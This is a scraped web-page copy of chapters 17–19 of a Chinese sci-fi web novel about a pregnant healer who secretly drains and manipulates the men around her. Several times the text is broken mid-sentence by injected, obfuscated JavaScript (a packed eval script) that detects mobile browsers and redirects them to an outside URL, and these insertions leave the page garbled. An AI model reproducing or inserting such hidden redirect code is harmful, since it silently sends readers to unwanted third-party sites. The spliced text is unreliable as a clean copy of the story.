l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746999|189953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 13L匿名 回复12L:小白鼠+1。但如果是能被SSS级安抚的小白鼠……好像也不是不行?总比被罗兰医生用那种“你又来浪费医疗资源”的眼神看着强。 14L匿名 所以,现在挂号渠道开了吗?我上次实战课留下的精神力刺痛还没好利索…… 15L匿名 回复14L:兄弟,勇气可嘉。你就不怕被吸干?对了,她年纪多大,是姐姐还是妹妹? 16L匿名(楼主) 最新消息!内部消息!她每天只接三个号!还是限定轻度紊乱!而且因为身体原因,治疗过程可能需要肢体接触(好像是额头)!这待遇,这规格,我哭了。 17L匿名 回复15L:是孕期少妇。这就去训练场把自己折腾到轻度紊乱,然后去挂她的号。为了学术研究,我愿意献身! 18L匿名 上面的,算盘珠子崩我脸上了!排队去! 19L匿名 我比较担心,万一治疗过程中她突然孕吐了怎么办?算医疗事故吗? 20L匿名 回复19L:那你可能就成为了历史上第一个被SSS级治愈师孕吐波及的幸运儿,可以载入史册了。 21L匿名 回复17L:性压抑了 22L匿名 管她呢!能力强就行!我现在只关心她的号难不难抢!有没有兄弟组个队,一起去试试水? 23L匿名 【权限提示:本帖涉及讨论特定教职人员及学员,部分言论已触发管理条款,本帖锁定,禁止回复。】 管理员【钢铁之心】已执行操作 >>>页面自动刷新>>> 【公告】关于规范论坛言论、尊重学员隐私与医疗工作的通知 …… “手挺快。”罗兰抬起头,瞥了一眼雷克索,“你对我的学生还挺上心。” 雷克索:“也是我的学生。” “你的精神图景好太多了。”罗兰转移了话题,“如果多接受几次治疗,说不定真能有痊愈的那天。” 雷克索盯着他看了几秒:“不高兴?” “谁都会不高兴的吧。困扰整个治愈系的难题,被一个新人在两周内轻松解决。”医生推了推眼镜,“SSS级精神力,真是命定的天赋……” “你当年没少用自己的SS级精神力,嘲讽他人的天赋不行。”雷克索毫不留情地戳穿了他。 “她体检结束了吗?” “还要一会儿。”雷克索又注意到了罗兰的表情,“你在想什么?” “还记得我对她精神力的调查分析吗?她的治愈安抚,会导致被治愈者的精神力总量下降。而且这并非是正常治疗的损耗,更像是她吸收了你的一部分。”随着样本的增加,罗兰愈发确信了这点。 “……是。” “我想我……哦,兰乌,你结束了?” 兰乌才结束了检查,正拿过挂起的外套,披在肩头:“是的,你们在聊和我相关的事吗?”她其实听到了一点,分外警惕起来。 “我……有什么问题吗?”绿色的眸子里浮现出担忧的神色。 “是关于你的。”罗兰温声道,“也可能不是。” “诶?” “你的精神力长期出于枯竭,现在的恢复速度仍然极其缓慢。就像是,有什么正在汲取你本身的力量。甚至,让你的精神力出现了下意识捕食的特征。”罗兰的视线下移,“我怀疑,你孩子有问题。” “并且,已经影响到了你。” 兰乌被吓到了,张开唇,几乎要跌坐到地上。 雷克索扶了一下。 健壮的臂膀,和颤抖娇小的女子贴在一起,他甚至能从后背感受到兰乌加速的心跳——任何一个准母亲,听到关于孩子的坏消息,恐怕都会天崩地裂。 罗兰也是被吓到了:“其实没那么严重……” 就听见兰乌颤颤地开口:“保、保小……一定要保小……” 罗兰:“……” 17. 17 诊室内陷入了一片死寂。 兰乌那句石破天惊的“保小”之后,便像是被抽走了所有力气,软软地靠在雷克索扶住她的臂膀上,轻声啜泣起来。单薄的肩膀微微颤抖,苍白的脸上泪痕交错,那双绿色的眼眸盈满了破碎的无助和一种母兽般的决绝。 “我……我只有他了……”她气若游丝,声音断断续续,仿佛每一个字都用尽了力气,“如果他有什么事……我活着还有什么意思……” 雷克索教官浑身僵硬,那扶住她的手臂像是托着一块烧红的烙铁,放也不是,不放也不是。古铜色的脸庞上写满了无措,他看向罗兰,眼神里带着罕见的求助意味——对付穷凶极恶的敌人他在行,但应对一个哭得梨花带雨、口口声声要“保小”的孕妇,这完全超出了他的处理范围。 “兰乌夫人,您冷静一点。”罗兰也被这突如其来的应激反应,打得措手不及,但他迅速推了推眼镜,强迫自己从医者的专业角度切入,“事情远没有到那一步,请您先控制情绪,过度悲伤对您和孩子都没有好处。” 他示意雷克索将兰乌扶到旁边的诊疗床上坐下,然后调出了刚才的检测数据光屏。 “我所说的‘有问题’,并非指胎儿不健康,或者有生命危险。”罗兰的声音恢复了惯有的温和与沉稳,试图用专业知识安抚眼前的准母亲,“恰恰相反,从生命体征来看,他非常……活跃。” 他的指尖在光屏上划过,点出几条异常波动的曲线。 “看这里,还有这里。您精神力的异常耗散模式,以及那种……嗯,‘捕食性’,与母体孕育超高精神力潜能子嗣时的某些记载案例,有相似之处。” 兰乌的哭声渐渐低了下去,变成压抑的抽噎,她抬起泪眼朦胧的脸,茫然地看着罗兰:“……记载案例?” “是的。”罗兰点头,褐色的眼眸在镜片后闪烁着学术探讨的光芒,“在极少数情况下,胎儿在母体中会展现出极其强大的、甚至堪称霸道的精神力天赋。 “这种天赋在孕育阶段,会本能地、大量地汲取母体的精神力作为自身成长的养料,导致母体长期处于精神力枯竭状态,甚至……”他顿了顿,寻找着合适的词语,“甚至会反向影响母体的精神力特性,使其出现一些类似于‘供给不足时主动寻求外部补充’的应激反应。” 他看向兰乌,语气变得极其认真:“也就是说,存在两种可能。” “第一,胎儿的精神力特性本身较为特殊,带有一定的……侵蚀性或掠夺性,这在天赋异禀者中并非没有先例。” “第二,也是我更倾向于的一种可能——”罗兰的声音里带上了一丝不易察觉的惊叹,“您腹中的,或许是一个正在孕育中的、前所未有的精神力天才。他的需求如此巨大,以至于您的身体,您的精神力,都在被动地、甚至主动地去为他寻找食物。” 兰乌彻底停止了哭泣,呆呆地坐在那里,仿佛被这个“科学解释”震撼到了。 罗兰将她的呆滞,理解为了母亲听到孩子可能是天才时的震惊与茫然,语气更加和缓:“所以,兰乌夫人,您现在明白了吗?问题不在于孩子是否健康,而在于如何满足他成长所需的巨额消耗,同时保障您自身的安全与健康。” 他意味深长地补充道:“我们需要密切监控这种‘汲取’与‘供给’的平衡。毕竟,即便是为了天才,过度透支母体,也是不可取的。” 还有一句他没说。 母体永远大于未出生的孩子。必要时刻,若是威胁到了兰乌的生命,是可以强制打胎的。 兰乌缓缓低下头,双手小心翼翼地覆上自己的小腹。 在沉默中,她挤出一句话:“我孕育的孩子,是天才?” “我孩子是天才??!” 罗兰:“……”对面似乎只筛选了好的信息。 “我……我明白了,罗兰老师。”她再抬起头时,眼神里充满了疲惫,以及一种背负了沉重期望的、小心翼翼的坚定,“我会配合检查的……只要孩子没事,我怎么样都可以。” 医生只觉得自己有一点点死了。 他张口,似乎想劝些什么,却又还是保持了沉默。 而一旁的雷克索看着兰乌那脆弱又坚强的侧影,刚毅的脸上线条似乎柔和了一瞬。他倒了一杯温水,递到兰乌手边。 “谢谢您,长官。”兰乌接过水杯,轻声说道,绿色的眼眸低垂,掩盖了深处一闪而过的思索。 偷偷进□□神力,在精密的数据监测下,还是被发现了。 但似乎又拥有了一个光明正大吃饭的理由。 “这件事作为隐私,我暂时不会上报。”罗兰又低声说,“但我会全程记录你的相关状态,这可能会作为医学史上,一起极其珍贵的素材,兰乌夫人,你愿意吗?” 兰乌点点头:“只要是为了孩子的健康,我愿意。” …… 兰乌还是应约出席了那场名为“点亮群山之光”的慈善晚宴。 理由很现实——阿尔文派来的造型团队带着数套奢华低调的黑裙与珠宝供她选择,并含蓄地表示,这是洛希尔家族对她处境的体谅与支持,拒绝反而显得不合时宜。 更重要的是,当时凯斯在一旁凉凉地补充:“去看看他怎么利用你‘悲惨经历’变现的,也算增长见识,SSS级文盲。” 兰乌慢一拍地反驳了一句:“阿尔文不是那种人。” “呵。” 于是,她去了。 地点在恩戴要塞最顶级的酒店宴会厅,水晶灯折射出璀璨光华,衣香鬓影,觥筹交错。兰乌穿着一身丝绒质地的黑色长裙,裙摆巧妙地遮住了她的孕肚,只勾勒出纤细的腰身和苍白的脸。她像一尊沉默的、不属于这个繁华世界的瓷器,被阿尔文体贴地安排在主桌旁相对安静的位置。 其实作为星刃的学生,不可以随意离开学校。但大概是这次慈善晚宴的主题很特殊,上面批准了她和阿尔文的出行。 甚至派来了属于星刃校方的媒体、行政人员。 也不免要在晚宴上宣传一下星刃。 阿尔文作为主办方继承人,全程表现得无可挑剔,言辞恳切,目光真诚。他讲述了偏远星域教育资源匮乏的现状,谈及了女性权益保障的迫切,一切都围绕着光明与希望。 然后,他话锋一转,目光温柔地投向了角落里的兰乌。 “而今晚,我们能够如此迅速地启动‘群山之光’首个援助项目,并将目光聚焦于一个刚刚经历过创伤的地区,离不开一位女士勇敢的发声。” 聚光灯,配合着阿尔文的话语,打在了兰乌身上。 她下意识地微微侧身,想避开那刺目的光,这个细微的动作在镜头里更像是一种不安与怯懦。 阿尔文的声音通过扩音设备传遍整个大厅,清晰而富有感染力:“想必大家都还记得兰乌夫人在访谈中提及的,她成长的故乡——那个遥远而闭塞的山区。” 光屏上适时地出现了一片星域图,一个偏远星球的坐标被放大,那里正是不久前遭受虫族袭扰的边境区域之一。 “我们根据一些线索,锁定了这个与兰乌夫人描述高度吻合的区域。令人痛心的是,那里的确存在着我们难以想象的困境。而在虫族袭击后,一些本就脆弱的女性更是失去了依靠,处境艰难。” 阿尔文的语气沉痛而坚定:“但幸运的是,因为兰乌夫人,我们注意到了她们!洛希尔家族的援助团队已经抵达,首批物资和法律援助人员已经到位,十七位处于困境中的女性得到了妥善的安置和未来的希望!” 他举起酒杯,朝向兰乌的方向,冰蓝色的眼眸中充满了敬意:“她们应该感谢的,是兰乌夫人。是她,用那种……独特的方式,让我们听到了来自群山深处的微弱的呼救声!是她,即便自身沉浸在悲痛中,依然间接地为她们点亮了一束光!” “让我们敬兰乌夫人!” 全场响起了热烈的、经久不息的掌声。所有目光都聚焦在兰乌身上,那目光里充满了赞赏、怜悯,以及一种“原来如此”的释然。 实时直播,星网上适时推出早已准备好的热搜词。 #兰乌曲线救国# #她不是文盲她是隐忍的勇士# #原来我们错怪了她# #用最懵懂的脸做最狠的事# 舆论风向一夜之间彻底逆转。 之前嘲笑她“文盲”、“娇妻”的声音被迅速淹没,取而代之的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16747000|189953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各种“解读”和“赞叹”。 【我哭了,她哪里是不懂?她是不敢直接说啊!一个无依无靠的孕妇,直接揭露黑幕不是找死吗?只能借着采访,用那种看似蠢笨的方式把信息传递出来!】 【细思极恐!她反复强调‘修水管’、‘老公家里人’,是不是在暗示当地存在人口买卖和囚禁?】 【SSS级精神力是不是让她预知了什么?哪怕之前没有觉醒。所以她才会那么坚定地要复仇,其实是连同那些受害女性的份一起!】 【我们欠兰乌夫人一个道歉!她不是娇妻,她是在绝境中为同类发声的孤勇者!】 兰乌:“……” 宴会结束后,兰乌坐在回程的悬浮车里,看着窗外流光溢彩的都市夜景,久久沉默。 阿尔文将她送到住处楼下,温和地道别:“兰乌夫人,感谢您的出席。您看,您的存在,本身就具有非凡的意义。” 兰乌没有回应,只是微微颔首,转身走进了大楼。 回到寂静的宿舍,罗兰不在。她甚至没有开灯,只是走到窗边,看着外面的布景发呆。 茫然。 一种前所未有的、深沉的茫然攫住了她。 她随口编织的、用于博取同情和塑造人设的谎言,竟然……成真了? 那个她随手在星图上指出的、只是恰好被虫族袭击过的区域,竟然真的有那么一群正在受苦的女性?而因为她的一番胡言乱语,她们得救了? 她只是想去吃个饭,应付一下贵族少爷的善心,顺便巩固一下自己可怜寡妇的人设而已。 为什么……会变成这样? 她抬起手,看着自己纤细的手指。这双手能轻易攫取他人的精神力,能构筑欺骗整个世界的谎言,却似乎……在无知无觉中,拨动了某些她从未在意过的命运线。 一种微妙而复杂的情绪在她心中滋生。不是喜悦,不是成就感,而是一种……荒谬。 这儿不是星际?怎么还是…… 她利用人类的同情心,人类却回报了她更深的同情和……她并不需要的荣誉。 这比直面虫母的追杀,更让她感到无措。 她自己的想法不必多说。就连阿尔文,她也很确信对方,并非出于纯粹的好心。只不过是一场漂亮的作秀而已。 通讯器亮起。 一个漂亮的数字被打入账。是出场费。 兰乌其实很穷,从没在人类世界生活过,自然一点积蓄没有。当实习医生,工资也到不了那么高。现在主要是吃穿住行都在学校,不需要花钱。 可她看着这串数字,竟然有一瞬间,觉得有些……肮脏。 过了几秒。 她拨了通讯,打给阿尔文。 “阿尔文先生,我想我有件事需要告诉你……我需要你的帮忙。帮帮我……” …… 二十分钟后,阿尔文来了,兰乌给他开了门。 只开了一盏很昏暗的灯。昏黄下,兰乌面容忧郁,眼尾是一股微醺的潮气,混着清淡的兰花香,酿出一点说不上来的情意。 “我实在不知道该向谁说。”兰乌将罗兰今日说的事,颠三倒四地重复了一遍,“因为孩子,我的精神力才如此衰竭。并且,我会下意识渴求他人的精神力……” “罗兰医生说,我身体进一步受损的话,将会采取一些措施……”她几乎要哭出来,“我不想失去我的孩子。” 阿尔文抿着唇,正在思考。 手上却忽然覆盖上了一层微凉的柔软,兰乌捉住他的手,上半身倏地靠近过来,连带着那说不出的香气,也压了过来。 “帮帮我……” 唇一开一合,湿润的,气息落下,似有似乎。 阿尔文只觉得自己的脸有些麻,他声音干涩,惯常灵活的大脑仿佛宕了机:“我该……” 又停住,捡回了理智和克制的绅士感:“夫人,你是说,你需要他人的精神力?” 兰乌低下头,像是知道自己提出了多么荒谬的说辞一样,唇嗫嚅了半天,没说出什么。 只是拉着阿尔文的手,放在了自己的小腹。 “我……我想要……” “想要你帮帮我。” 18. 18 阿尔文只觉得自己的理智,正在被那双盈满水光的绿眸和掌心下微隆的弧度寸寸瓦解。他冰蓝色的眼眸中挣扎与怜惜交织,喉结剧烈地滚动了一下。 “我……我该怎么做?”他的声音沙哑得不成样子,那引以为傲的自制力在兰乌混合着绝望与诱惑的恳求下,摇摇欲坠。 兰乌没有立刻回答,只是牵着他的手,引领着他,在床边坐下。她自己则站起身,阴影笼罩住他,带着一种前所未有的、近乎神性的温柔。 “请放松,阿尔文先生。”她的声音轻得像羽毛,带着一种奇异的安抚力量,“只是像之前一样,让我感受您的精神力。或许……或许它能让我和孩子,好受一些。” 她微凉的指尖,如同以往无数次治疗时那样,轻轻点在了阿尔文的额头。 然而,这一次,完全不同。 不再是之前那种或试探、或粗暴的汲取,也不是治疗时公事公办的梳理。兰乌的精神力,如同最温润的春水,带着一种阿尔文从未体验过的、极致缠绵的温柔,缓缓涌入他的精神图景。 哪怕有一点心理准备,也还是太致命了。 仿佛他干涸的灵魂不是被灌溉,而是被一片温暖包容的海洋彻底拥抱、浸润。每一个精神末梢都在发出满足的喟叹,所有的焦躁、算计、甚至方才在宴会厅里演说的那一丝不易察觉的疲惫,都被这温柔的力量轻轻拂去。 完全是,蛊惑。 “呃……”阿尔文不受控制地发出一声低吟,身体微微后仰,几乎要沉溺在这片温柔的海洋里。他的眼神开始迷离,原本笔挺的坐姿也变得松弛。 就是现在。 兰乌绿色的眼眸深处闪过一丝冷静的光。她俯下身,另一只手轻轻按在阿尔文的肩膀上,用一种不容抗拒却又无比柔和的力道,将他向后推去。 阿尔文毫无防备,或者说,他的精神防线早已在那片温柔海中土崩瓦解。他顺从地倒在了柔软的床铺上,金发散落在枕间,冰蓝色的眼眸失神地望着上方。 属于兰乌的,苍白、却仿佛笼罩着光晕的脸。 像是黑暗中生出的一支、雪色的兰。 “谢谢您……阿尔文先生……”兰乌的声音依旧轻柔,她维持着指尖与他额头的接触,整个人的重量若有若无地悬在他上方,“您真是……太慷慨了……” 她开始汲取。 不再是小心翼翼,也不再是少量试探。而是像品尝一道期待已久的美味,细致地、深入地,汲取着阿尔文那纯净而强大的精神力。动作依旧带着一种刻意的小心翼翼,仿佛生怕惊扰了这美妙的源泉,但汲取的量和速度,却远超以往任何一次。 与此同时,她的精神力如同最灵巧的探测器,沿着精神链接,无声无息地潜入阿尔文情绪波动的深处。 她“看”到了。 那场光鲜亮丽的慈善晚宴背后,阿尔文真实的思绪碎片,如同沉入水底的冰山,此刻清晰地映照在她的感知中: “效果比预期更好。苦难经由她之口说出,比任何精心撰写的报告都更具穿透力。” “父亲应该会满意。这笔投资,无论在声誉还是实质上,回报率都远超预期。” “那些女人……她们的苦难是真实的,但能被洛希尔家族看见并利用,何尝不是一种‘幸运’?” “兰乌……她此刻的茫然无措,恰好成了最完美的一笔。只是……” “必须确保后续落实到位,不能留下任何污点。慈善,一旦开始,就必须是完美无瑕的。” “凯斯大概在嘲笑我这‘虚伪的善良’吧。但他终究不是继承人,不懂,将‘善行’塑造成共赢的格局,才是维持秩序的方式。” 善意与算计、怜悯与利用,早已缠绕成一片无法分割的荆棘。 这让兰乌感到一种奇异的……释然。 兰乌有点想冷笑,但没笑出来。汲取精神力的动作却越发温柔缠绵,仿佛在给予对方极致的快乐作为回报。阿尔文在她身下发出无意识的、舒适的叹息,完全沉浸在这被精心编织的温柔陷阱里,对自己精神力的流失和被窥探毫无所觉。 当兰乌感觉到阿尔文的精神力已到了一个临界点,再继续可能会引起他本能警觉时,她便如同最高明的窃贼,悄无声息地停止了汲取,只留下那令人沉醉的温柔抚慰,如同余韵,缭绕在阿尔文近乎空白的精神图景中。 她缓缓收回手,支起身子,看着床上眼神涣散、脸颊泛红、呼吸急促的阿尔文,仿佛只是做了一场极致的治疗。 “您还好吗?”她轻声问,语气里带着恰到好处的疲惫与感激。 阿尔文茫然地看着她,许久,才从喉咙里挤出一个沙哑的:“……嗯。” 他感觉前所未有的……安宁与空虚并存。仿佛灵魂被彻底洗涤,却又被抽走了某种重要的东西,只剩下无尽的疲惫和一丝莫名的眷恋。 兰乌对他露出一个虚弱而感激的微笑,轻轻替他拉好有些凌乱的衣领。 “谢谢您,阿尔文先生。”她声音低柔,“您帮了我……和孩子,一个大忙。” 这一次,这句话里,带上了只有她自己才懂的、真实的意味。 鬼使神差地,阿尔文回答:“这是我的荣幸,以后,需要帮忙之时,仍可以联系我。” “但您的身体……” “你又在用敬语了。”阿尔文纠正了一句,“我们是同学,应该互帮互助,不是吗?” “况且,我只是损失了一定的精神力量,它们仍可以恢复。你却帮我梳理了精神图景,那些原本无法抹去的损伤,都在愈合。这是一种互利的交换。不必太有心理负担。” “……好。” 仿佛被安慰到了,兰乌挤出一个如释重负的笑容。 像一朵羞涩绽放的花苞。 那如同沉溺在温暖洋流中的极致舒适感,开始缓缓退潮。 阿尔文·洛希尔冰蓝色的眼眸中,迷离的雾气逐渐散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“阿尔文先生,您感觉好些了吗?刚才……谢谢您。” 这句感谢如同又一记软锤,敲在阿尔文混乱的心上。他帮助了她,以这样一种……躺在对方床上的方式? “我……我该走了。”阿尔文几乎是仓促地站起身,脚步甚至有些虚浮,他必须立刻离开这里,回到他熟悉、规整的世界里去,才能厘清这团乱麻。 “很晚了,不打扰您休息。” 他甚至不敢再看兰乌一眼,几乎是落荒而逃般地走向门口,那挺拔的背影此刻却显得有些僵硬和狼狈。 门在他身后轻轻合上。 兰乌独自坐在床边,空气中还残留着雪松香气的余韵,与她自身的兰花香交织、碰撞。 她轻轻地歪头,也是觉得有些好玩。 精神力缠在一起的时候就不羞耻,一分开就羞耻得没边—— 明明很想要,又拒绝接受这样的想法。 19. 19 又过了几日,风平浪静。 兰乌逐渐适应了白天上课、实习,晚上偶尔“加餐”的规律生活。 这份脆弱的平静在一个午后被彻底打破。 她刚结束一堂通识课,正抱着沉重的、标注满拼音的笔记本,吃力地辨认着回宿舍的路标,手腕上的通讯器却突然疯狂震动起来,来自凯斯的通讯请求尖锐地响着,带着一股不同寻常的急迫。 她刚接通,凯斯那标志性的、带着嘲讽却又隐含焦躁的声音就砸了过来: “喂,文盲,你还有心思慢悠悠散步?看看星网!你都快被扒得底裤都不剩了!” 兰乌心头一跳,下意识地点开星网推送,几个触目惊心的词条瞬间跳入眼帘: #兰乌精神力长期枯竭# #星刃内部医疗报告泄露# #是谁在伤害SSS级治愈师# #孕期家暴疑云# 点开其中一个热度最高的词条。里面赫然贴出了几张打了部分马赛克、但关键信息清晰可见的图表——正是罗兰医生为她做的身体检测数据报告的一部分!上面清晰地显示着她精神力的异常耗散模式和长期低于安全值的波动曲线。 紧接着,是一些看似合理的推论和分析文章。文章将她之前在采访中提到的“丈夫死亡”、“偏远山区”、“缺乏教育”等信息,与这份医疗报告强行关联起来。 【深度分析:从兰乌夫人长期精神力枯竭,看其婚前可能遭受的系统性精神压迫与虐待!】 【惊天内幕!SSS级天才的陨落前兆?是谁在持续汲取她的生命力?!】 舆论的风向,再次发生了剧烈的偏转。 之前还只是赞美她隐忍和曲线救国,现在则彻底变成了铺天盖地的怜悯与愤怒。 兰乌:“……” 【天啊!我一直以为她只是失去丈夫后悲伤,原来在之前就可能一直生活在水深火热里!】 【那些数据看得我头皮发麻!这是什么人间惨剧!嫁给一个傻子,又被管道工家暴?现在怀着孕还要被不知名的东西汲取精神力?】 【细思极恐!她之前说的‘老公家里人’,是不是就是长期迫害她的元凶?那个死在肚皮上的傻子老公,真的是意外吗?】 【星刃必须保护好她!军方必须介入调查!这是对全人类珍贵财富的犯罪!】 【她之前不敢直接说,是不是因为害怕?现在是不是有生命危险?】 同情、猜测、阴谋论……各种声音混杂在一起,将“兰乌”这个名字再次推上了风口浪尖。 兰乌站在路中间,看着光屏上滚动的信息和那些泣血般的控诉,一时间竟有些恍惚。 是谁泄露了罗兰医生严格保密的医疗数据? 需要她来制造利益的阿尔文?还是拥有她数据的罗兰自己? 目前曝光的东西,以及舆论的走向,对她来说确实有利,可是为什么?为什么要做那么多余的事? “喂?说话!”通讯器里,凯斯的声音带着不耐烦,“吓傻了?” 她对着通讯器,声音刻意带上了一丝颤抖,仿佛强忍着巨大的恐惧和委屈:“我……我不知道……为什么会这样……凯斯学长,我……我好害怕……” 听见她的声音,凯斯稍微柔和了语气:“你先别急,星刃一定会介入,保护学生的隐私。” “先见面吧,千万不要自己回复网上的舆论。” “可我已经回复了。” “?”凯斯大为震撼,“你回复了什么?” 已经不用他问了,属于兰乌的回复被疯狂推流,推到了他面前。 【兰乌:请不要再攻击我老公了!】 【兰乌:也请不要打扰,我和我的孩子。】 凯斯眼前一黑。 底下热评第一条就是: 【姐,我真分不清你是娇妻还是演的了】 没过多久,网上被曝光的数据就被批量压下。 星刃官方发布了通告,表示会调查到底。 但那些留档、那些讨论,并没有因此平息。甚至有人开始推论,兰乌所说的,第二任老公在恩戴的“亲戚”,究竟是哪一位富豪——现在大家都默认,是有人要买下兰乌这样的孕妇,作为特殊的……玩物。 作为一个来自偏远地区的文盲,兰乌的脸,确实可以说是漂亮得要命了。 以至于叫人一看见,就以为她是什么落难的贵族、百般宠爱下长大的脆弱的温室花朵。 只有仔细接触,才能发现她掌心的伤痕,那些粗粝的茧。虽然不能直接讨论兰乌的体检报告,却已经开始有学生出来发声,表示近距离接触过。 她之前过得很苦,并非谎言。 …… 冥想室内,灯光被调到最暗,模拟着无垠的星空。罗兰坐在冰冷的、符合人体工学的座椅上,试图让自己进入那熟悉的精神放空状态。这是他多年来应对高强度工作和精神耗竭的唯一方式,是维持理智的锚点。 然而今夜,锚点又失效了。 他闭上眼,试图驱散杂念,但脑海中浮现的,不是浩瀚的宇宙图景,而是那次实验时那短暂却蚀骨的片段,不受控制地、一遍遍地回放—— 明明已经过去三周了。 感觉却如此清晰,仿佛此刻仍有余波在他神经末梢跳跃,带来一阵细微的战栗。 那股力量从涓涓细流,骤然变成温暖洪流,将他彻底淹没的失控感。他记得自己精神壁垒是如何在那力量面前土崩瓦解,不是被暴力摧毁,而是像阳光下的冰雪,心甘情愿地消融。 是那种灵魂被浸泡在无边温水中,每一个角落都被熨帖、被滋养的极致安宁。比最顶级的神经舒缓剂更纯粹,比一切他所知的快乐更触及本源。一种……让他膝盖发软、理智崩溃、甚至生出摇尾乞怜冲动的、该死的极致舒适。 喉咙里似乎又溢出了那声不满的闷哼,那种未被满足的渴望如同细密的虫子,啃噬着他此刻的神经。 “呼——” 罗兰猛地睁开眼,呼吸有些紊乱,额角渗出了细密的冷汗。他抬手用力按压着太阳穴,试图用物理的疼痛驱散精神上的混乱。 失败。 那些感觉太鲜明了,鲜明到超越了他过往所有的数据记录和理论认知。这根本不是正常的治愈反应。更像是一种……一种精神层面的成瘾前兆。 他试图将思绪转移到兰乌的检测数据上,那些异常波动的曲线,那些预示着“捕食”和“汲取”的特征。 兰乌这些天治疗过的人,已经有数十个。 似乎没有人表现出和他一样的严重截断反应。难道只是因为他接受了多次的短暂治疗?可接受重复治疗的并非只有他…… 可一秒,思维又不受控制地滑向——“如果……如果当时没有中断,让那感觉持续下去,会怎样?” 他烦躁地站起身,在狭小的冥想室里踱步。冰冷的金属墙壁映出他略显焦躁的身影。 那个带来这一切的源头,此刻正安然睡在仅一墙之隔的房间里。 三周了,他的症状一点也没减轻。 门骤然被敲响了。 …… 兰乌站在罗兰的冥想室外,能隐约感受到门后那并不平静、甚至有些紊乱的精神力波动。她深吸一口气,脸上酝酿出惊惶与不安,轻轻敲响了门。 门内持续的踱步声戛然而止。 过了几秒,门滑开。罗兰站在门口,金丝眼镜后的褐色眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749068|189953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眸带着一丝未能完全掩饰的疲惫与烦躁,但在看到兰乌的瞬间,迅速被专业的温和覆盖。 “兰乌夫人?这么晚了,有什么事吗?”他的声音听起来一如既往的平稳,但兰乌敏锐地捕捉到了一丝不易察觉的紧绷。 “罗兰老师……”兰乌抬起脸,绿色的眼眸在走廊昏暗的光线下显得格外湿润,苍白的脸上写满了恐惧,她甚至下意识地抱住了自己的双臂,声音带着细微的颤抖,“我……我看了星网上的那些……那些说法……我、我很害怕……” 她像是受惊过度,语无伦次:“他们说……说我被……家暴……说我的身体……还有人说,为什么不堕胎……会不会有人来害我和孩子……我不知道该怎么办……” 罗兰看着她这副模样,眉头微蹙。网上的舆论风暴他自然也看到了。 “进来吧。”他侧身让开,语气放缓了些,“那些未经证实的消息,不要过度关注,会影响你的情绪和身体状况。” 兰乌怯生生地走进冥想室,这里冰冷、简洁的空气让她似乎更冷了,她微微瑟缩了一下。 “可是……那些数据……只有您这里有……”她抬起泪眼,仿佛无意间说出了最关键的话,然后立刻像是意识到失言,猛地捂住嘴,慌乱地摇头,“对不起,罗兰老师,我不是怀疑您!我只是……只是太害怕了……” “我理解你的不安。”罗兰的声音更加温和,他引导着兰乌在冥想坐垫上坐下,自己则坐在她对面,“泄露事件我会严肃追查。现在,你需要的是平静。” 他看着她依旧苍白的脸和惊惶的眼神,犹豫了一下,还是伸出了手:“如果你愿意,我可以先用精神力帮你稳定一下情绪。你现在的状态,对胎儿很不利。” 来了。 兰乌内心漠然,面上却像是抓住了救命稻草,用力点头,眼泪又涌了出来:“谢谢您,老师……拜托您了……” 她乖巧地闭上眼,等待着。 罗兰深吸一口气,排除杂念,将微凉的指尖轻轻点在她的额头。 其实他并不需要肢体接触就能安抚,但或许是研究兰乌的精神力久了,竟也开始有了这样的习惯。 一股温和的、带着药草清苦气息的精神力缓缓探出,试图梳理兰乌躁动不安的情绪图景。 兰乌的精神力涌上来,热情地缠住他。 她要去他的记忆里看一看! 记忆的碎片如同流光般掠过她的感知—— ——罗兰在光屏前严肃地记录数据,眉头紧锁。 ——他与雷克索交谈,提及“保密”和“风险”。 ——他独自在冥想室,反复观看实验监控,脸上浮现出困惑与……沉迷。 ——他在看到星网爆料时,骤然站起,打翻了手边的营养液,脸上是纯粹的震惊与愤怒…… 没有主动泄露的记忆画面! 那份震惊和愤怒不似作伪。 兰乌的心缓缓下沉。不是罗兰?那会是谁?权限能接触到这份详细数据的人寥寥无几…… 不对。 情绪不对。 罗兰的震惊和愤怒,很快就平息了下去,他像是想到了什么,从单纯的愤怒化作了浓浓的不解。 罗兰,应该知道、或者认识泄露信息的人。 但匆匆瞥过,兰乌没有从记忆碎片里找到那人的痕迹。 她还想寻找。 但罗兰却忽得蜷缩起身体,紧闭着眼,发出一声压抑至极的痛呼。 兰乌方才顺着他们建立的链接,不断用精神力反过来探索他的精神图景,一着急,便占用了全部的通道。这自然挤占了罗兰的精神力来去的路径。 于是。 他的精神力,被迫逆流了。 20. [锁] [此章节已锁] 